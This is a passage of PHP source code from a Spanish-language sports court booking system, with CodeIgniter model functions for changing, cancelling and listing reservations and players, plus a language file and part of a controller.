(!$new_day) { // if ((date('H:i',strtotime($this->intervalo)) >= date('H:i',strtotime($array_booking['intervalo']))) && (date('H:i',strtotime($this->intervalo)) <= date('H:i',strtotime($array_booking['intervalo_fin'])))) { //Coincide, no compruebo nada //log_message('debug', 'Coincide..'); } else { if (!$this->checkExactAvailability()) { log_message('debug', 'No hay disponibilidad para el intervalo'.$this->intervalo); $result_message = 'No hay disponibilidad para el intervalo '.$this->intervalo; $result_availability = false; return $result_message; } } } else { if (!$this->checkExactAvailability()) { log_message('debug', 'No hay disponibilidad para el intervalo '.$this->intervalo); $result_message = 'No hay disponibilidad para el intervalo '.$this->intervalo; $result_availability = false; return $result_message; } } } //inserto en BBDD, he pasado la comprobacion //log_message('debug', 'ID_PAYMENT='.$id_paymentway); $sesion_insert = str_replace('{{slash}}', '\\',$this->session->userdata('session_id')); $id_transaction_new = $sesion_insert.$this->court."-".date('U', strtotime($this->date." ".$this->intervalo)); //&calculate_prices = false; for ($i = 0 ; $i < $array_booking['num_intervalos']; $i ++) { $suma_minutos = ($i * $this->config->item('reserve_interval')) + $minuto_inicio; //relleno los campos necesarios para chequear disponibilidad $this->intervalo = date('H:i',mktime($hora_inicio,$suma_minutos,0,1,1,1998)); //debug.log_message('debug','Intervalo: '.$this->intervalo); //INSERTO VALORES if ($this->getPrice()) { $data = array( 'id_booking' => $this->court."-".date('U', strtotime($this->date." ".$this->intervalo)), //PREGUNTAR SI EL ID ES NUEVO O NO 'id_transaction' => $id_transaction_new, 'booking_code' => $this->app_common->reserve_encode($this->session->userdata('idTransaction')), 'id_user' => $id_user, 'id_court' => $this->court, 'date' => $this->date, 'session' => $sesion_insert, 'intervalo' => $this->intervalo, //codigo comentado, bbdd desactualizada 'price' => $this->price, 'price_light' => $this->price_light, 'price_court' => $this->price_court, 'id_paymentway' => $id_paymentway, /*'price_supl1' => 0, 'price_supl2' => 0, 'price_supl3' => 0, 'price_supl4' => 0, 'price_supl5' => 0,*/ 'status' => $status, 'create_user' => $this->session->userdata('user_id'), 'create_time' => date(DATETIME_DB)); # Si el status es mayor que cero, marco la reserva... Si no, solo ejecuto la funcionalidad de marcar en sesion $this->db->insert('booking', $data); log_message('debug', 'SQL: '.$this->db->last_query()); } else { log_message('debug', 'No se han encontrado precios para el intervalo: '.$this->intervalo); $result_message = "No se han encontrado precios para el intervalo: $this->intervalo"; return $result_message; } } //UNA VEZ INSERTADOS LOS REGISTROS NUEVOS, BORRO LOS ANTERIORES if ($this->cancel_reserve($id_transaction_old, 'Cancelacion por cambio de horas')) { $result_message = "ok|".$id_transaction_new; } else { log_message('debug', 'La reserva anterior no se ha borrado'); $result_message = "Importante: La reserva anterior no se ha borrado"; return $result_message; } } else { log_message('debug', 'La reserva que se quiere modificar, no existe.'); $result_message = "Importante: La reserva que se quiere modificar no existe"; return $result_message; } } else { $result_message = 'Las horas introducidas no corresponden con ningรบn horario'; log_message('debug', 'Las horas introducidas no corresponden con ningun horario'); return $result_message; } return $result_message; } ############################################################################## function checkExactAvailabilityChange() { //Modifcar la anterior para que funcione con este cambio # Devuelve si un intervalo estรก reservado o no $sql = "SELECT id FROM booking WHERE status > 0 and date = ? and intervalo = ? and id_court = ? and id_transaction != ? LIMIT 1"; $query = $this->db->query($sql, array($this->date, $this->intervalo, $this->court, $this->id_transaction)); if ($query->num_rows() > 0) return FALSE; else return TRUE; } ############################################################################## function cleanBlockReserves() { //Modifcar la anterior para que funcione con este cambio # Devuelve si un intervalo estรก reservado o no $this->db->where("TIMESTAMP(create_time,'00:04:00') < now() and status <= '5'"); $this->db->delete('booking'); log_message('debug',$this->db->last_query()); return TRUE; } ############################################################################## /* FUNCTION PARA VALIDAR UNA RESERVA*/ function complete_reserve($id_transaction) { log_message('debug', 'entro en la funcion complete_reserve con transaccion '.$id_transaction); $data = array('status' => 9, 'modify_time' => date(DATETIME_DB), 'modify_user' => $this->session->userdata('user_id'), 'modify_ip' => $this->session->userdata('ip_address')); $this->db->update('booking',$data, array('id_transaction' => $id_transaction)); log_message('debug',$this->db->last_query()); return ($this->db->affected_rows() >= 1) ? true : false; } ############################################################################## /* FUNCTION PARA VALIDAR UNA RESERVA*/ function validate_reserve($id_transaction) { $data = array('status' => 11, 'modify_time' => date(date(DATETIME_DB)), 'modify_user' => $this->session->userdata('user_id'), 'modify_ip' => $this->session->userdata('ip_address')); $this->db->update('booking',$data, array('id_transaction' => $id_transaction)); return ($this->db->affected_rows() >= 1) ? true : false; } ############################################################################## /* FUNCTION PARA CANCELAR UNA RESERVA*/ function cancel_reserve($id_transaction, $text_cancel) { //chequeo la reserva por si estรก pagada para devolver el dinero //primero chequeo que la opciรณn estรก activada /* if ($this->config->item('cancelled_reserve_refund')) { $sql_query = "select status, sum(price) as price_total, max(id_user) as id_user ". "from booking where id_transaction = ? ". "group by status"; $data_query = array($id_transaction); $query = $this->db->query($sql_query,$data_query); if ($query->num_rows() > 0) { $row = $query->row(); //si el estado es pagado(9) devolvemos el dinero if ($row->status == 9) { $sql_update = "update meta set prepaid_cash = (prepaid_cash + ?) ". "where user_id = ?"; $data_update = array($row->price_total, $row->id_user); $this->db->query($sql_update,$data_update); } } } */ //copia de seguridad en booking_cancelled $sql_insert = "insert into booking_cancelled ". "(id_booking, id_transaction, id_user, booking_code, session, id_court, date, intervalo, status,". "cancelation_reason, id_paymentway, price, no_cost, no_cost_desc, user_nif, user_desc, user_phone,". "create_user, create_time, create_ip) ". "(select id_booking, id_transaction, id_user, booking_code, session, id_court, date, intervalo, status,". "?, id_paymentway, price, no_cost, no_cost_desc, user_nif, user_desc, user_phone,". "?, ?, ? from booking where id_transaction = ?)"; $data = array($text_cancel, $this->session->userdata('user_id'), date(DATETIME_DB), $this->session->userdata('ip_address'), $id_transaction); $this->db->query($sql_insert,$data); log_message('debug', 'SQL: '.$this->db->last_query()); $this->db->delete('booking',array('id_transaction' => $id_transaction)); log_message('debug', 'SQL: '.$this->db->last_query()); return ($this->db->affected_rows() >= 1) ? true : false; } public function get_data($params = "" , $page = "all") { $this->load->model('Pistas_model', 'pistas', TRUE); # Consulta para extraer la lista de reservas que deberรกn mostrarse $table_name = 'booking'; //Build contents query $this->db->select('distinct id_transaction', FALSE); $this->db->from('(SELECT `date`, id_transaction, id_court, id_user, `status`, `id_paymentway` FROM ('.$table_name.') ORDER BY `date` desc LIMIT 200) a'); $this->db->join('courts', 'courts.id=a.id_court', 'left outer'); $this->db->join('meta', 'a.id_user=meta.user_id', 'left outer'); $this->db->join('zz_booking_status', 'a.status=zz_booking_status.id', 'left outer'); $this->db->join('zz_paymentway', 'a.id_paymentway=zz_paymentway.id', 'left outer'); if (!empty ($params['where'])) $this->db->where($params['where']); if (!empty ($params['orderby']) && !empty ($params['orderbyway'])) $this->db->order_by($params['orderby'], $params['orderbyway']); if (empty ($params['orderbyway']) || $params['orderbyway']=='') $params['orderbyway'] = 'ASC'; //$this->db->order_by('id_transaction', $params['orderbyway']); if ($page != "all") $this->db->limit ($params ["num_rows"], $params ["num_rows"] * ($params ["page"] - 1) ); $lista_de_reservas = array(); //Get contents $query = $this->db->get(); //log_message('debug',$this->db->last_query()); if ($page != "all") { $lista_de_reservas = array(); foreach ($query->result() as $row) { array_push($lista_de_reservas, $row->id_transaction); } } # Consulta para extraer la informaciรณn de esas reservas $table_name = 'booking'; //Build contents query $this->db->select('booking.id as id, id_booking, id_transaction, id_user, session, id_court, DATE_FORMAT(DATE(booking.date), \'%d-%m-%Y\') as fecha, '. 'intervalo, `status`, id_paymentway, price, no_cost, no_cost_desc, booking.user_desc, user_phone, '. 'booking.create_user as create_user, booking.create_time as create_time, booking.modify_user as modify_user, '. 'booking.modify_time as modify_time, courts.name as court_name, meta.first_name as first_name, '. 'meta.last_name as last_name, meta2.first_name as create_first, meta2.last_name as create_last, meta.first_name + \' \' + meta.last_name as complete_name, meta.phone as phone, zz_booking_status.description as status_desc, '. 'zz_paymentway.description as paymentway_desc, booking.price_light as price_light, booking.price_court as price_court, zz_sports.id as sport, zz_sports.description as sport_desc, shared, DATE_FORMAT(DATE(booking.create_time), \'%d-%m-%Y\') as fecha_creacion, price_supl1, price_supl2, price_supl3, booking.booking_code', FALSE)->from($table_name); $this->db->join('courts', 'courts.id=booking.id_court', 'left outer'); $this->db->join('zz_sports', 'zz_sports.id=courts.sport_type', 'left outer'); $this->db->join('meta', 'booking.id_user=meta.user_id', 'left outer'); $this->db->join('meta as meta2', 'booking.create_user=meta2.user_id', 'left outer'); $this->db->join('zz_booking_status', 'booking.status=zz_booking_status.id', 'left outer'); $this->db->join('zz_paymentway', 'booking.id_paymentway=zz_paymentway.id', 'left outer'); if ($page != "all" && count($lista_de_reservas) > 0) { if (!empty ($params['where'])) $params['where'].= ' AND '; $params['where'].= "booking.id_transaction IN ('".implode("', '", $lista_de_reservas)."')"; } if (!empty ($params['where'])) $this->db->where($params['where']); if (!empty ($params['orderby']) && !empty ($params['orderbyway'])) $this->db->order_by($params['orderby'], $params['orderbyway']); if (empty ($params['orderbyway']) || $params['orderbyway']=='') $params['orderbyway'] = 'ASC'; $this->db->order_by('id_transaction', $params['orderbyway']); $this->db->order_by('intervalo', $params['orderbyway']); //if ($page != "all") $this->db->limit ((6 * $params ["num_rows"]) + 6 * ($params ["num_rows"] * ($params ["page"] - 1)), 0 ); //Get contents $query = $this->db->get(); //log_message('debug',$this->db->last_query()); //echo $this->db->last_query().'<br>'; //exit( $this->db->last_query());//.'<br>'; $record_items = array(); $buttons=''; $registro=array(); $transaccion=""; $min_time=""; $max_time="";$precio=0; $light_cost=0; $light_desc= ''; foreach ($query->result() as $row) { if($transaccion=="") $transaccion = $row->id_transaction; //echo $row->id_transaction.' # ' .$transaccion.'<br>'; if($transaccion != $row->id_transaction && $transaccion!="") { #Sรณlo si se ha cambiado de Id de transacciรณn $record_items[] = $registro; //print("<pre>"); print_r($registro); $registro=array(); $min_time=""; $max_time=""; $precio=0; $light_cost=0; $light_desc= ''; $transaccion = $row->id_transaction; } // ojo, las imรกgenes tienen que ser png //modificar mas adelante aรฑadiendo un campo en BBDD $paint_status = ''; if ($row->status_desc == '') $paint_status=''; else $paint_status = img(array('src'=>'images/'.$row->status_desc.'.png', "align"=>"absmiddle", "border"=>"0", "title"=>$this->lang->line($row->status_desc))); if($row->no_cost==0) $no_cost=''; else $no_cost='Si'; /* if($row->id_user) $usuario = $row->first_name.' '.$row->last_name.'('.$row->phone.')'; else $usuario = $row->user_desc.'('.$row->user_phone.')'; */ /* if($row->id_user) { $usuario = $row->first_name.' '.$row->last_name; $phone = $row->phone; } else { $usuario = $row->user_desc; $phone = $row->user_phone; } */ $usuario = $row->user_desc; $phone = $row->user_phone; if(trim($usuario)=="") $usuario="No registrado"; $create_user = $row->create_first.' '.$row->create_last; $reserve_interval = $this->pistas->getCourtInterval($row->id_court); $time=$row->intervalo; $precio+=$row->price; //$precio += $this->price_court + $row->price_light + $row->price_supl1 + $row->price_supl2; if($min_time=="" || $min_time > $row->intervalo) $min_time = date('H:i', strtotime($time)); if($max_time=="" || $max_time < $row->intervalo) $max_time = date('H:i', strtotime($time)+($reserve_interval * 60)); # Definicion de los botones /*$butt_array=array(); if($row->status != 9) array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Marcar la reserva como iniciada\');"><img id="activar" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/accept.png\'></a>'); if($row->status != 9) { array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Modificar la reserva\');" ><img value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/refresh.png\'></a>'); } if($row->status != 9) array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Eliminar la reserva\');"><img border=\'0\' src=\''.$this->config->item('base_url').'images/close.png\'></a>'); //$buttons=implode(' ', $butt_array);*/ //NUEVOS BOTONES //if ($row->status == 9) $button_validate= '<img id="validar" "title"="Validar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/accept.png\'>'; //else $button_validate = "-"; if ($row->price_light > 0) { $light_desc= 'Si'; $light_cost += $row->price_light; } /* else { $light_desc= ''; $light_cost = 0; } */ $button_cancel= '<img id="cancelar" "title"="Cancelar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/close.png\'>'; $button_change= '<a href="javascript:modificarReserva(\''.$row->id_transaction.'\',\''.$min_time.'\',\''.$max_time.'\');"><img id="modificar" "title"="Modificar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/refresh.png\'></a>'; //$button_change= if ($row->status < 9) $button_payment= '<img id="payment" "title"="Cobrar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/coins.png\'>'; else $button_payment = '-'; $registro = array( 'id_transaction' => $row->id_transaction, 'id_booking' => $row->id_booking, 'fecha' => date($this->config->item('reserve_date_filter_format') ,strtotime($row->fecha)), 'inicio' => $min_time, 'final' => $max_time, 'status_desc' => $this->lang->line($row->status_desc), 'court_name' => $row->court_name, 'sport_name' => $row->sport_desc, 'paymentway_desc' => $this->lang->line($row->paymentway_desc)!="" ? $this->lang->line($row->paymentway_desc) : '-', 'user_id' => $row->id_user, 'user_desc' => $usuario, 'user_phone' => $phone, 'create_user_id' => $row->create_user, 'create_user_desc' => $create_user, 'price' => number_format($precio, 2, ',', ''), 'no_cost' => $no_cost, 'no_cost_desc' => $row->no_cost_desc, 'shared' => $row->shared, 'light_desc' => $light_desc, 'light_cost' => number_format($light_cost, 2, ',', ''), 'fecha_creacion' => $row->fecha_creacion, 'coste_antelacion' => number_format($row->price_supl1, 2, ',', ''), 'coste_invitado' => number_format($row->price_supl2, 2, ',', ''), 'booking_code' => $row->booking_code, ); //print("<pre>");print_r($row);print("</pre>"); } $record_items[] = $registro; return $record_items; } public function get_data_count($params = "" , $page = "all") { $table_name = 'booking'; //Build contents query //$this->db->select('distinct id_transaction', FALSE)->from($table_name); $this->db->count_all_results($table_name); $this->db->from($table_name); $this->db->join('courts', 'courts.id=booking.id_court', 'left outer'); $this->db->join('meta', 'booking.id_user=meta.user_id', 'left outer'); $this->db->join('zz_booking_status', 'booking.status=zz_booking_status.id', 'left outer'); $this->db->join('zz_paymentway', 'booking.id_paymentway=zz_paymentway.id', 'left outer'); if (!empty ($params['where'])) $this->db->where($params['where']); //$this->db->group_by("booking.id_transaction"); if (!empty ($params['orderby']) && !empty ($params['orderbyway'])) $this->db->order_by($params['orderby'], $params['orderbyway']); if ($page != "all") $this->db->limit ($params ["num_rows"], $params ["num_rows"] * ($params ["page"] - 1) ); //Get contents //$query = $this->db->get(); //echo $this->db->last_query().'<br>'; //log_message('debug',$this->db->last_query()); return $this->db->count_all_results(); } public function get_cancelled($params = "" , $page = "all") { $this->load->model('Pistas_model', 'pistas', TRUE); $table_name = 'booking_cancelled'; //Build contents query $this->db->select('distinct id_transaction', FALSE)->from($table_name); $this->db->join('courts', 'courts.id='.$table_name.'.id_court', 'left outer'); $this->db->join('meta', $table_name.'.id_user=meta.user_id', 'left outer'); $this->db->join('zz_booking_status', $table_name.'.status=zz_booking_status.id', 'left outer'); $this->db->join('zz_paymentway', $table_name.'.id_paymentway=zz_paymentway.id', 'left outer'); if (!empty ($params['where'])) $this->db->where($params['where']); if (!empty ($params['orderby']) && !empty ($params['orderbyway'])) $this->db->order_by($params['orderby'], $params['orderbyway']); if ($page != "all") $this->db->limit ($params ["num_rows"], $params ["num_rows"] * ($params ["page"] - 1) ); //Get contents //$query = $this->db->get(); $lista_de_reservas = array(); //Get contents if ($page != "all") { $query = $this->db->get(); $lista_de_reservas = array(); foreach ($query->result() as $row) { array_push($lista_de_reservas, $row->id_transaction); } } $table_name = 'booking_cancelled'; //Build contents query $this->db->select($table_name.'.id as id, id_booking, id_transaction, id_user, session, id_court, DATE_FORMAT(DATE('.$table_name.'.date), \'%d-%m-%Y\') as fecha, DATE_FORMAT(DATE('.$table_name.'.create_time), \'%d-%m-%Y\') as date_delete, DATE_FORMAT('.$table_name.'.create_time, \'%d-%m-%Y %H:%i\') as time_delete, '. 'intervalo, `status`, id_paymentway, price, no_cost, no_cost_desc, booking.user_desc, user_phone, '. ''.$table_name.'.create_user as create_user, '.$table_name.'.create_time as create_time, '.$table_name.'.modify_user as modify_user, '. ''.$table_name.'.modify_time as modify_time, courts.name as court_name, meta.first_name as first_name, meta_2.first_name as first_name_2, '. 'meta.last_name as last_name, meta_2.last_name as last_name_2, meta.first_name + \' \' + meta.last_name as complete_name, meta.phone as phone, zz_booking_status.description as status_desc, '. 'zz_paymentway.description as paymentway_desc, '.$table_name.'.cancelation_reason as cancelation_reason', FALSE)->from($table_name); $this->db->join('courts', 'courts.id='.$table_name.'.id_court', 'left outer'); $this->db->join('meta', $table_name.'.id_user=meta.user_id', 'left outer'); $this->db->join('meta as meta_2', $table_name.'.create_user=meta_2.user_id', 'left outer'); $this->db->join('zz_booking_status', $table_name.'.status=zz_booking_status.id', 'left outer'); $this->db->join('zz_paymentway', $table_name.'.id_paymentway=zz_paymentway.id', 'left outer'); if ($page != "all" && count($lista_de_reservas) > 0) { if (!empty ($params['where'])) $params['where'].= ' AND '; $params['where'].= "booking_cancelled.id_transaction IN ('".implode("', '", $lista_de_reservas)."')"; } if (!empty ($params['where'])) $this->db->where($params['where']); if (!empty ($params['orderby']) && !empty ($params['orderbyway'])) $this->db->order_by($params['orderby'], $params['orderbyway']); $this->db->order_by('id_transaction', $params['orderbyway']); //if ($page != "all") $this->db->limit ($params ["num_rows"], $params ["num_rows"] * ($params ["page"] - 1) ); //Get contents $query = $this->db->get(); log_message('debug',$this->db->last_query()); //echo $this->db->last_query(); $record_items = array(); $buttons=''; $registro=array(); $transaccion=""; $min_time=""; $max_time="";$precio=0; foreach ($query->result() as $row) { //if($contador <= $first_row) { $contador++; continue; } if($transaccion=="") $transaccion = $row->id_transaction; //echo $row->id_transaction.' # ' .$transaccion.'<br>'; if($transaccion != $row->id_transaction && $transaccion!="") { #Sรณlo si se ha cambiado de Id de transacciรณn $record_items[] = $registro; //print("<pre>"); print_r($registro); $registro=array(); $min_time=""; $max_time=""; $precio=0; $transaccion = $row->id_transaction; } // ojo, las imรกgenes tienen que ser png //modificar mas adelante aรฑadiendo un campo en BBDD $paint_status = ''; if ($row->status_desc == '') $paint_status=''; else $paint_status = img(array('src'=>'images/'.$row->status_desc.'.png', "align"=>"absmiddle", "border"=>"0", "title"=>$this->lang->line($row->status_desc))); if($row->no_cost==0) $no_cost=''; else $no_cost='S&iacute;'; if($row->id_user) $usuario = $row->first_name.' '.$row->last_name; else $usuario = $row->user_desc; if(trim($usuario)=="") $usuario="No registrado"; if($row->id_user) $usuario2 = $row->first_name_2.' '.$row->last_name_2; if(trim($usuario2)=="") $usuario2 = "No registrado"; $reserve_interval = $this->pistas->getCourtInterval($row->id_court); $time=$row->intervalo; $precio+=$row->price; if($min_time=="" || $min_time > $row->intervalo) $min_time = date('H:i', strtotime($time)); if($max_time=="" || $max_time < $row->intervalo) $max_time = date('H:i', strtotime($time)+($reserve_interval * 60)); # Definicion de los botones /*$butt_array=array(); if($row->status != 9) array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Marcar la reserva como iniciada\');"><img id="activar" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/accept.png\'></a>'); if($row->status != 9) { array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Modificar la reserva\');" ><img value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/refresh.png\'></a>'); } if($row->status != 9) array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Eliminar la reserva\');"><img border=\'0\' src=\''.$this->config->item('base_url').'images/close.png\'></a>'); //$buttons=implode(' ', $butt_array);*/ //NUEVOS BOTONES //if ($row->status == 9) $button_validate= '<img id="validar" "title"="Validar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/accept.png\'>'; //else $button_validate = "-"; //$button_change= $registro = array( 'id_transaction' => $row->id_transaction, 'id_booking' => $row->id_booking, 'fecha' => date($this->config->item('reserve_date_filter_format') ,strtotime($row->fecha)), 'inicio' => $min_time, 'final' => $max_time, 'court_name' => $row->court_name, 'user_desc' => $usuario, 'user_phone' => $row->phone, 'user_delete' => $usuario2, 'date_delete' => $row->date_delete, 'time_delete' => $row->time_delete, 'price' => $precio, 'no_cost' => $no_cost, 'cancelation_reason' => $row->cancelation_reason, ); //print("<pre>");print_r($row);print("</pre>"); } $record_items[] = $registro; return $record_items; } public function get_cancelled_count($params = "" , $page = "all") { $table_name = 'booking_cancelled'; //Build contents query $this->db->select('distinct id_transaction', FALSE)->from($table_name); $this->db->join('courts', 'courts.id='.$table_name.'.id_court', 'left outer'); $this->db->join('meta', $table_name.'.id_user=meta.user_id', 'left outer'); $this->db->join('zz_booking_status', $table_name.'.status=zz_booking_status.id', 'left outer'); $this->db->join('zz_paymentway', $table_name.'.id_paymentway=zz_paymentway.id', 'left outer'); if (!empty ($params['where'])) $this->db->where($params['where']); if (!empty ($params['orderby']) && !empty ($params['orderbyway'])) $this->db->order_by($params['orderby'], $params['orderbyway']); if ($page != "all") $this->db->limit ($params ["num_rows"], $params ["num_rows"] * ($params ["page"] - 1) ); //Get contents $query = $this->db->get(); log_message('debug',$this->db->last_query()); return count($query->result_array()); } function add_player($id, $data) { $this->CI =& get_instance(); $check = 1; //$this->load->model('Reservas_model', 'reserva', TRUE); $info=$this->CI->reservas->getBookingInfoById($id); //print("<pre>");print_r($data);print_r($info);exit(); if(!isset($info) || !is_array($info) || count($info)<=0) return ('Reserva no encontrada'); if(isset($info['playing_users']) && is_array($info['playing_users'])) { foreach($info['playing_users'] as $usuario) { if(($data['id_user']!= 0 && $usuario['id_user'] == $data['id_user']) || ($data['id_user']== 0 && $usuario['user_desc'] == $data['user_desc'])) $check = 0; } } # Control de integridad de datos if($data['id_user']=='') $data['id_user'] = 0; if($check) { $datos['id_transaction'] = $id; $datos['id_user'] = $data['id_user']; $datos['user_desc'] = $data['user_desc']; $datos['user_phone'] = $data['user_phone']; $datos['status'] = 9; $datos['create_user'] = $this->session->userdata('user_id'); $datos['create_time'] = date(DATETIME_DB); $datos['create_ip'] = $this->session->userdata('ip_address'); $this->db->insert('booking_players', $datos); log_message('debug',$this->db->last_query()); return NULL; } else { log_message('debug','Usuario '.$data['id_user'].' o '.$data['user_desc'].' ya registrado en la reserva '.$id.'. No se le da de alta de nuevo'); return ('Usuario ya registrado previamente en esta reserva.'); } } function remove_player($id_transaction, $id_user) { $data = array( 'id_transaction' => $id_transaction, 'id' => $id_user, ); $this->db->delete('booking_players',$data); log_message('debug',$this->db->last_query()); return TRUE; } /** * getBookingCountDayUser * * @return number **/ public function getBookingCountDayUser($sport, $date, $user, $force = 0) { //echo "AA"; if($this->config->item('booking_record_players') && $force == 0) $sql_select = "select count(*) as total from booking_players, booking, courts where booking_players.id_transaction = booking.id_transaction and booking.id_court = courts.id and courts.sport_type = ? and booking.date = ? and booking_players.id_user = ?"; else $sql_select = "select count(*) as total from booking, courts where booking.id_court = courts.id and courts.sport_type = ? and date = ? and id_user = ?"; $query = $this->db->query($sql_select, array($sport, $date, $user)); //log_message('debug',$this->db->last_query()); //echo $this->db->last_query(); if ($query->num_rows() > 0) { $row = $query->row(); $total = $row->total; if(!isset($total) || $total == '') $total = 0; return $total; } else return 0; } ############################################################################## function change_players($id_old, $id_new) { # Cambia el id_transaction asociado a un conjunto de jugadores de una reserva, para no perderlos al hacer un cambio de reserva $data = array( 'id_transaction' => $id_new, 'modify_user' => $this->session->userdata('user_id'), 'modify_ip' => $this->session->userdata('ip_address'), 'modify_time' => date($this->config->item('log_date_format')) ); $this->db->where('id_transaction', $id_old); $this->db->update('booking_players', $data); log_message('debug',$this->db->last_query()); //if($this->db->affected_rows()) return TRUE; //echo $this->db->last_query(); //exit(); return TRUE; } ############################################################################## function change_shared_players($id_old, $id_new) { # Cambia el id_transaction asociado a un conjunto de jugadores de una reserva, para no perderlos al hacer un cambio de reserva $data = array( 'id_transaction' => $id_new, 'modify_user' => $this->session->userdata('user_id'), 'modify_ip' => $this->session->userdata('ip_address'), 'modify_time' => date($this->config->item('log_date_format')) ); $this->db->where('id_transaction', $id_old); $this->db->update('booking_shared', $data); log_message('debug',$this->db->last_query()); //if($this->db->affected_rows()) return TRUE; //echo $this->db->last_query(); //exit(); return TRUE; } public function get_data_players_to_export($params = "" , $page = "all") { $sql_select = "select booking_players.id_user as id_user, booking.id_transaction as id_booking from booking_players, booking, meta where booking_players.id_transaction = booking.id_transaction and (booking_players.id_user = meta.user_id or meta.user_id is null) and booking_players.status = 9"; $query = $this->db->query($sql_select, array()); //log_message('debug',$this->db->last_query()); //echo $this->db->last_query(); $array_result = array(); $registro = array(); foreach ($query->result() as $row) { $registro = array( 'id_booking' => $row->id_booking, 'id_user' => $row->id_user ); $array_result[] = $registro; $registro = array(); } return $array_result; } public function get_data_to_export($params = "" , $page = "all") { $datos = $this->get_data($params, $page); //exit(); $resultado = array(); foreach($datos as $reserva) { $booking_type = 'Reserva'; if($reserva['shared'] == 1) $booking_type = 'Reto'; array_push($resultado, array( 'id_booking' => $reserva['id_transaction'], 'fecha' => $reserva['fecha'], 'HoraInicio' => $reserva['inicio'], 'HoraFin' => $reserva['final'], 'NombrePista' => $reserva['court_name'], 'Deporte' => $reserva['sport_name'], 'user_id' => $reserva['user_id'], 'Usuario' => $reserva['user_desc'], 'Telefono' => $reserva['user_phone'], 'id_CreadorReserva' => $reserva['create_user_id'], 'CreadorReserva' => $reserva['create_user_desc'], 'SinCoste' => $reserva['no_cost'], 'DescripcionSinCoste' => $reserva['no_cost_desc'], 'Luz' => $reserva['light_desc'], 'TipoReserva' => $booking_type, 'FechaReserva' => $reserva['fecha_creacion'], 'CosteReserva' => $reserva['price'], 'CosteLuz' => $reserva['light_cost'], 'CosteReservaAnticipada' => $reserva['coste_antelacion'], 'CosteInvitado' => $reserva['coste_invitado'], 'CodigoReserva' => $reserva['booking_code'], 'Estado' => $reserva['status_desc'] )); } return $resultado; } } ?>``` informes_lang.php ```<?php # TEXTOS $lang['informes_title'] = htmlentities("Listados, informes y grรกficas."); # MENU $lang['report_todas_reservas'] = htmlentities("Listado reservas"); $lang['report_todos_pagos'] = htmlentities("Listado pagos"); $lang['report_facturacion_diaria'] = htmlentities("Resumen de facturaciรณn"); $lang['report_reserva_diaria'] = htmlentities("Resumen de reservas"); $lang['report_reserva_ocupacion'] = htmlentities("Informe de ocupaciรณn"); $lang['report_cierre_dia'] = htmlentities("Cierre caja"); $lang['report_cierre_dia2'] = htmlentities("Resumen diario de Caja"); $lang['report_clases_dia'] = htmlentities("Partes de clases"); ?>``` reservas.php ```<?php class Reservas extends Controller { /* # CONTENIDO # # index() # preselect() # simpleSearchFields() # confirm() * # pay() * # search2() # confirm2() # extras() # pay2() # resume() # tooltip_info() # clean_block_reserves() */ function Reservas() { parent::Controller(); $this->lang->load('reservas'); $this->load->library('user_agent'); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion de bรบsqueda de pista # ------------------------------------------------------------------- function index($dummy = NULL) { if(!isset($dummy)) { redirect(site_url('reservas/index/'.time()), 'Location'); exit(); } $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Redux_auth_model', 'usuario', TRUE); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; $user_name=$profile->username; } else { $user_id=0; $user_group=9; $user_name=$this->lang->line('anonymous_user'); } # Vacio el array de elementos seleccionados $this->session->set_userdata('bookingInterval', array()); # Definiciรณn de barra de menus $menu=array('menu' => $this->app_common->get_menu_options()); //print("<pre>");print_r($this->session->userdata('bookingInterval'));print("</pre>"); //echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true); $validation_script=""; $disabled=""; $filtro=$this->config->item('court_required'); if(isset($filtro[$user_group]) && $filtro[$user_group]) { $validation_script.="if(document.getElementById('court').value=='' ) { alert('".$this->lang->line('court_required_alert')."'); document.getElementById('frmReserva').action='".site_url('reservas')."'; return; }"."\r\n"; if(!$this->input->post('court')) $disabled = " disabled "; } else $validation_script=''; $filtro=$this->config->item('date_required'); if($filtro[$user_group]) { $validation_script.="if(document.getElementById('date').value=='' ) { alert('".$this->lang->line('date_required_alert')."'); document.getElementById('frmReserva').action='".site_url('reservas')."'; return; }"."\r\n"; //if(!$this->input->post('date')) $disabled = " disabled "; } else $validation_script=''; $data=array( 'menu' => $this->load->view('menu', $menu, true), 'user_name' => $user_name, 'search_fields' => $this->load->view('reservas/search_fields2', array('search_fields'=> $this->simpleSearchFields(), 'form' => 'frmReserva', 'disabled' => $disabled), true), //'result' => $this->load->view('reservas/simple_result', array('availability' => $availability_array, 'user_id' => $user_id, 'filters' => $this->load->view('reservas/search_fields', array('search_fields'=> $this->simpleSearchFields()), true)), true), 'validation_script' => $validation_script, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); # En funciรณn del IE, cargo una pantalla u otra if(in_array($this->agent->browser(), $this->config->item('special_browser'))) $data['search_fields'] = $this->load->view('reservas/search_fields2_iexplorer', array('search_fields'=> $this->simpleSearchFields(), 'form' => 'frmReserva', 'disabled' => $disabled), true); else $this->load->view('reservas/search_fields2', array('search_fields'=> $this->simpleSearchFields(), 'form' => 'frmReserva', 'disabled' => $disabled), true); $added = ''; if(in_array($this->agent->browser(), $this->config->item('special_browser'))) $added = array('added_footer' => 'Pagina adaptada a IE'); $extra = link_tag(base_url().'css/prettyPhoto.css')."\r\n".'<script 